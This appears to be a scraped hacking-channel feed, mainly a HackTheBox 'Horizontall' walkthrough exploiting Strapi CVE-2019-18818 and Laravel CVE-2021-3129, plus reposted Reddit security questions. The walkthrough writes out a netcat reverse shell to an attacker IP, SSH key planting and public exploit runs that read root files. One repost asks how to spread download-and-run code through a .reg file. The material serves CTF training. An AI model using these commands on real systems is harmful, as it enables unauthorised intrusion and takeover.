Exemple

___________________________
@hacking_Attack
@Hacking_Video

ShellCode Tester Linux Instalation git clone https://github.com/helviojunior/shellcodetester.git
cd shellcodetester/Linux
make
Usage Without break-point: shellcodetester [file.asm]
With break-point (INT3). The break-point will be inserted before our generated shellcode: shellcodetester [file.asm] --break-point


Download Shellcodetester (https://github.com/helviojunior/shellcodetester)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Horizontall HackTheBox Walkthrough

IntroductionHorizontall is an “easy” rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning

* nmap

Enumeration

* Subdomain enumeration using wfuzz
* Strapi password reset exploit

Exploitation

* Exploiting strapi CVE-2019-18818 to gain a reverse shell
* Initial information gathering
* Setting up my SSH key in the victim’s authorized_keys file

Privilege Escalation

* Tunnelling internal website to our system
* Exploiting Laravel CVE-2021-3129 to snag root flag

Let’s begin Network ScanningFirst, we will run a nmap scan on the victim machine
nmap -sV -sC -Pn 10.129.149.92
https://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.

https://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000

We tried to look for exploitable vectors on the website itself but couldn’t find any which indicated that we need to enumerate directories.

Even directories enum didn’t yield any results so we tried to enumerate subdomains.
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.horizontall.htb" --sc 200 10.129.149.92
This returned back an interesting subdomain called api-prod

https://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000

We add this subdomain in hosts file and try to open the website.
echo "10.129.149.92   api-prod.horizontall.htb" >> /etc/hosts
https://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000

It seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.
whatweb http://api-prod.horizontall.htb/admin/
https://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000

We observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4

https://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.
searchsploit -m 50239
https://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]

___________________________
@hacking_Attack
@Hacking_Video

rfgy7nKbgdxlJODdAoRzh3jgotusrqMRJJ0K0SLFZOEe2GBb6OBWvTTTJG5KdbIaUCQWIyiDXq9YaiYOH4j5S6f_IhKttnMJwPQU-bxXoOBSUCM5QrNdofCY8dypL9Gl7b0TqNHpog=s16000

Running the exploit was quite simple, just passing the URL as an argument sufficed.
python3 50239.py http://api-prod.horizontall.htb
https://blogger.googleusercontent.com/img/a/AVvXsEiPw5s6mGSrjSKa3HKlIXmzsNZ2QsUw6qom0o5XW1U2elUnwKWleSjHqb_KoHP5XqgIYC-xMaIz_GxtpZE8u2h_5BmdRbo6o55fsXAauvM1hoXSIHzxzis1OdbMJTNurItvjBmzHwI5UJk1nMQBcj3VhNeFK184BHdpwqKIRbkTqYbW5IoI6JT5hYFmqg=s16000

As you could see, the password was reset. One could login using this. AS you can see, in the response, we can confirm that the account is an admin.

https://blogger.googleusercontent.com/img/a/AVvXsEiCZbfNIbVqs0hk_8cAV88UA0mnnF9uFcQTbfNzx4kWEA0FHIORkofZ0-HZUAvtG4Znfh4eGmZB5XKvlkPoYnHLrpdTnH_BIn21FzsXLvfe6TfkY4h6nJB9M2reVcYQAsy6v9FfgPODNvGuu-jZ-IekYXpf3S8VAdLhyanIsdoFtrnX5yUaxWedOFTM_w=s16000

However, the exploit also opened an option to run remote commands on the server! After a lot of tries, we found a reverse shell that seemed to be working.
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f
https://blogger.googleusercontent.com/img/a/AVvXsEhqlZFjAICLL-g8SiUYcxf554p3oRvYg9lLhfPSN5cf-1bd7d0U6ovBfJsCjLTySEzwoyczLEspFFHZXOhEhpNxzcwRymxuyCbMHWwvjDu5qwolq0EXkSuXHq_G4f8RDlz6Qlq2WjOpDBG-MbPdVMaieoVrknUfPggBtJwEfKKAPZvUrCeS7kqjJW_A5g=s16000

We had already set up a listener on port 1234 which had now received a new session. We converted this into a proper teletype using python.
nc -nlvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
https://blogger.googleusercontent.com/img/a/AVvXsEjQKE5mPfu0ng3p4Cj614K8GCMlPTDXOoi3TQotVKs2UKBSgB4SumnDSAGkx4-31yA2YEzsjEG9ypr7iGSKJ_TJOQQUC_Q2Q19qFKUu9cYJwNcRG0-r1pnZ0c55nmYmRmeHxj3nXtnDO_QLIkz6mCwITzJHN55kcIxr4xiULiaVYYoWiIUqwPWsra_d_w=s16000 Privilege EscalationUpon looking around this server, we observed a few unhelpful things. Finally, a netstat command gave us the path forward. The server seemed to be listening on port 8000. This could mean an internal service is running.
netstat -plant
https://blogger.googleusercontent.com/img/a/AVvXsEipnU1CdAA_KsSU0Bhk-r7F8JaDasCtyhhGpj8kxGWb7CqWrBly4rWPJjTvOyc6WvVsxJrRqwxDxyQ5RzIqY9zpTdmL8J2zaN-G8afn37W5gcQkF7q8-v3W1DP4j15UVfh3ti4Pgk-9Vg8mJ28I-WHl0g6-r5M0_lV4jLbRrKezOTZr8jXg0g9g5RAVLg=s16000

Since there is no PID associated with the port, it means that the service was running. The best bet is a website. Another interesting thing was that the user strapi had rwx permissions on the .ssh directory.
cd ~
ls -la
pwd
cd .ssh
https://blogger.googleusercontent.com/img/a/AVvXsEj4_gzVOHLD-vAMVm4QgjI8VbiAQRzsUOpa4-XcOT23_r4IH4jCRRLN0xYq6vNxdRghidlLgcC5M6VLd4QpYf47Q4aYcOWojiNhNS2LDPOjPB7NnceDagbPmPW-bGgwx1-tSHV6bqyQvNDWoe7blo2el22Z1IpW7-_7lEBptPcVYvzb8SkC8SnAB2tc8g=s16000

Therefore, the plan forward is:

1. Add my own SSH public key in the server’s authorized_keys
2. Start a TCP tunnel to forward port 8000 to my local system
3. Explore the service on port 8000.

For this, I generated a new SSH key pair using ssh-keygen command

https://blogger.googleusercontent.com/img/a/AVvXsEgjmczvdIxNyfviTm0tvH3KHkKfZo_FvFxexzAFx7AUc51v3BGsiReY-7r1HV8M5DYMUN1Nyei7dCJZxCJwVitMrZwjcC8yjLsb5nQzV2j1NUft-a0YPHNssn6Yc1sYD-QrqYrU0wkX5XpQE0PFc-tT4fo5DmHKW5v7Y8at45oOTIvfnEMrbE-pO3tIVQ=s16000

I then copied my id_rsa.pub key as authorized_keys and started a web server using python.
ssh-keygen
cp id_rsa.pub authorized_keys
python3 -m http.server 80
https://blogger.googleusercontent.com/img/a/AVvXsEgJCmgDdkQq_FaqPTi7qAcMzybNoMK-3eBfLUNZ57G19jKK1Z0rWdjh7tniiNeZUf4x870uzDTUv_Y0pBrIiHWGLIJUZq8jDVHv3WPRCEx6SL2Qie3wtgvmUcHMZs2iK9_D5bATRQOFc8QjRPYqB0WQ4b7VLpHOfeWgp73Nj_JQABTctbMdjvjD-2FwhA=s16000

I then downloaded this file in my server using wget in the directory ~ /.ssh
wget http://10.10.16.10/authorized_keys
https://blogger.googleusercontent.com/img/a/AVvXsEgPT7iV60gk[...]

___________________________
@hacking_Attack
@Hacking_Video

9vSBLdK7eDeVI7RdmJ2-wbIpFZw_ewUl8wc5H3OqZ0n63eGtc-OdzKbioP0GHXc0jTftJE18DO3pqnM8NclM09PWMi6ndCxZJ-TPMMn6vRachjCjWgkn-l7Pp9J6JoAQkcnWXZvdg5c3XEKuF3coL5dmeDomMlxK0rmXLT7xTrTViG8U4w=s16000

As it had got copied, we could now run an SSH tunnel and forward port 8000 to our local system’s port 8000 using the command:
ssh -i id_rsa -L 8000:localhost:8000 strapi@10.129.149.92
https://blogger.googleusercontent.com/img/a/AVvXsEg5P8O-YazC63GrD3ASQtSzgC7vF2il1g_B5-XYrhPEaqRkPreEo3stdTN0e3ahUodc9l85gHmS2v4u3KNmAgHwxsBqStVNeb0ZcZPAPbqLXy7smSRH8X4AIg-5oE0bdEBPjBZGv8x-queG6RB3H2eY05xSEdeseFNz-qwvmh96SwP_MeDdLjiw2mJxpA=s16000

Now, upon traversing local port 8000 in the web browser, we observed that Laravel version 7.4.18 was running.
http://localhost:8000
https://blogger.googleusercontent.com/img/a/AVvXsEiAXPSwohpMtVZcTJH0oBsHQyhdwEnb1jxJfwSOHgPQdvE5thNIdgdhfX56s9uN33rR0jZhUad0hhLv-2tvPmdaSFTQ4opweFMdAQo1osVMd0UtG1h8Sqicyov9VRSRtRgUP-HQcHXaIJK1laNJb1Tc1ykyF9XaGV_468sxDHIqhY4JgOQvgZjDzmwBYw=s16000

This version is vulnerable to CVE-2021-3129. This vulnerability allows an attacker to execute code because of an insecure implementation of the file_get_contents() function. A PoC is available on github (ref here) which we cloned and ran.
git clone https://github.com/nth347/CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit
chmod +x exploit.py
./exploit.py http://localhost:8000 Monolog/RCE1 id
./exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"
https://blogger.googleusercontent.com/img/a/AVvXsEidDZ8aYKOKJJfCc7h4kGGaqnWFvPISMV-dAZrUt1N7adEUKXVfGSZ1m4l1u-pTHadUW45IHQSMWOPYHu4X3rGRDqKAwUTH67CWW0jnla3jCR86YLCvh5cPrRNYGyMVlPK0h2WBwbSPugLCW1t4__qSGnEw5Be6TeB_LFt31apDr16MEijC61iJVbyijg=s16000

And as you can see, the application was owned by root and thus we are able to execute commands as root. This is how we escalated our privileges and snagged the root flag. ConclusionThe lab offers a practical understanding of googling, understanding, finding public exploits and running them to exploit a server. In our humble opinion, the website is suitable for beginners or students practising for OSCP. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Horizontall HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Yet another enumeration of subdomains with statistics

Or how to collect million of bugbounty subdomains in order to make a few wordlists.Continue reading on Medium »
Read more...

Web App Pentesting Course
https://www.reddit.com/r/Pentesting/comments/ster1z/web_app_pentesting_course/

Hello Pentesters, ​ I am a InfoSec student and I am lacking in web app pentest skills, do you all have any suggestions for Web App pentest courses. I am okay with paid ones, if they are quality and relevant to today's security landscape. ​ Thank you! submitted by /u/Early_Lab183 (https://www.reddit.com/user/Early_Lab183)
[link] (https://www.reddit.com/r/Pentesting/comments/ster1z/web_app_pentesting_course/) [comments] (https://www.reddit.com/r/Pentesting/comments/ster1z/web_app_pentesting_course/)

___________________________
@hacking_Attack
@Hacking_Video

ImmuneFi Bug Bounty Launched!

Octopus Network is a brand new multichain network born to serve application-specific blockchains, aka appchains. Octopus Network provides…Continue reading on Medium »
Read more...

hacking: security in practice
Has the windows side of the razor synapse power shell exploit been patched?

Incase you didn't know, there was a LPE exploit discovered like 6 months ago where you could simply plug in a razor keyboard or mouse which would give you system privilege's to download synapse. You could open this as a separate PowerShell window and well, you know, have full access to your previously limited machine.

​

My company recently hired a new IT team and all I want to do is simply synchronize my timezone as it hasn't been updated since 2015 and since it's off the rest of my computer to some extent is non functional. They've been MIA all morning and idk why I'm locked out of editing my time zone this machine has went from my workstation to an excel spreadsheet machine. Getting notifications and everything earlier than I need. Razor said they have fixed the bug as much as they can but it's mainly a windows error and I can't find anything on if it's been patched or not. I know that there is some other program that I forget the name of but it's basically a virtual USB emulator that I want to try tomorrow if this problem persists.

​

Simply put; has anyone heard anything from Microsoft on whether or not they've fixed the exploit? Also if anyone is more familiar with any other windows vulnerabilities that are similar I'd love to know.

​

Thanks :)

submitted by /u/Parzival1127
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HASP dongle emulator for an older piece of software?

I want to help a relative that has purchased a software package several years ago (5? 7?) that has since then not received any updates. The last time he bought it it was because the dongle on the previous one failed. This new one is failing as well and the company wants them to purchase a new license instead of replacing the defective key.

As it is, the dongle requires to be powered on at all times, otherwise it needs to be placed either in the fridge or warmed up for a few hours. Don't know what voodoo that is but it sounds like a hardware problem to me. Anyway, the vendor does not acknowledge this.

What are the ways to make a copy of the dongle in case it fails? I know it likely has a semi-custom algorithm running on it, but there seem to be various solutions to this. However, I cannot find any links that are live, everything just seems to lead to a parked webdomain.

There are also services that do this, vipdongle and donglify come to mind. I would like to avoid though another subscription model, plus I have no idea how legit these services are (are they just going to charge the card and disappear?).

This is for a small business with two computers only. Appreciate any advice or links I get.

submitted by /u/testing_testing_321
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A technique to semi-automatically find vulnerabilities in WordPress plugins

https://external-preview.redd.it/HipRd30eDrLQWXVswiWudVNc2H9H-atHUoqn_YcxVBg.jpg?width=640&crop=smart&auto=webp&s=38d51b15dd6e88a00f4f5b8827a5359786c1beaa submitted by /u/kazetkazet
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there a way to make a windows computer download a file and run it using a registry edit, spread via a .reg file

title of the post explains it, but this sub requires a longer body paragraph in the post so i shall state it again: Is there a way to make a windows computer download a file and run it using a registry edit, spread via a .reg file

submitted by /u/the_human12345
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I think most of the people believe social media are controlled by the goverments, but why?

Maybe this isnt the sub to ask this, but i didnt know where to ask hackers and i was thinking, for example everyone believes that whatever we write on the internet somehow can be traced back, back to who you are, and if the goverment wants they can get whatever info from you, or whatever comment you did 8 years ago on reddit(example)

Where is this idea from? Why did i take this info as truth without doing any research i dont know, so i wanted to ask any "hacker" here of how true it is, if the goverment wants to know what you commented, posted or liked in the past, can they trace back to you.

Lets say even the email everything you used to create the account is fake, can reddit itself traceback to you?

Ps. I didnt do anything wrong i swear haha.

submitted by /u/Thegodfather_12
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
People who act like DDOSing is hacking is honestly my biggest pet peeve

I hate how people who actually take the time to understand a system and break it in such a methodical and delicate way in order to gain access into it or whatever are overshadowed by the ocean of skids who think spamming requests somewhere using some github script or botnet-creator website is somehow the same.

It's like being a car mechanic and being treated as though you're on the same level and skillset as someone who smashes a car with a wrench until it breaks.

And no, I totally didn't make this post just so I could share that analogy.

submitted by /u/TheByteQueen
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Yet another enumeration of subdomains with statistics
https://medium.com/@zzzteph/yet-another-enumeration-of-subdomains-with-statistic-4953a5a4754f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video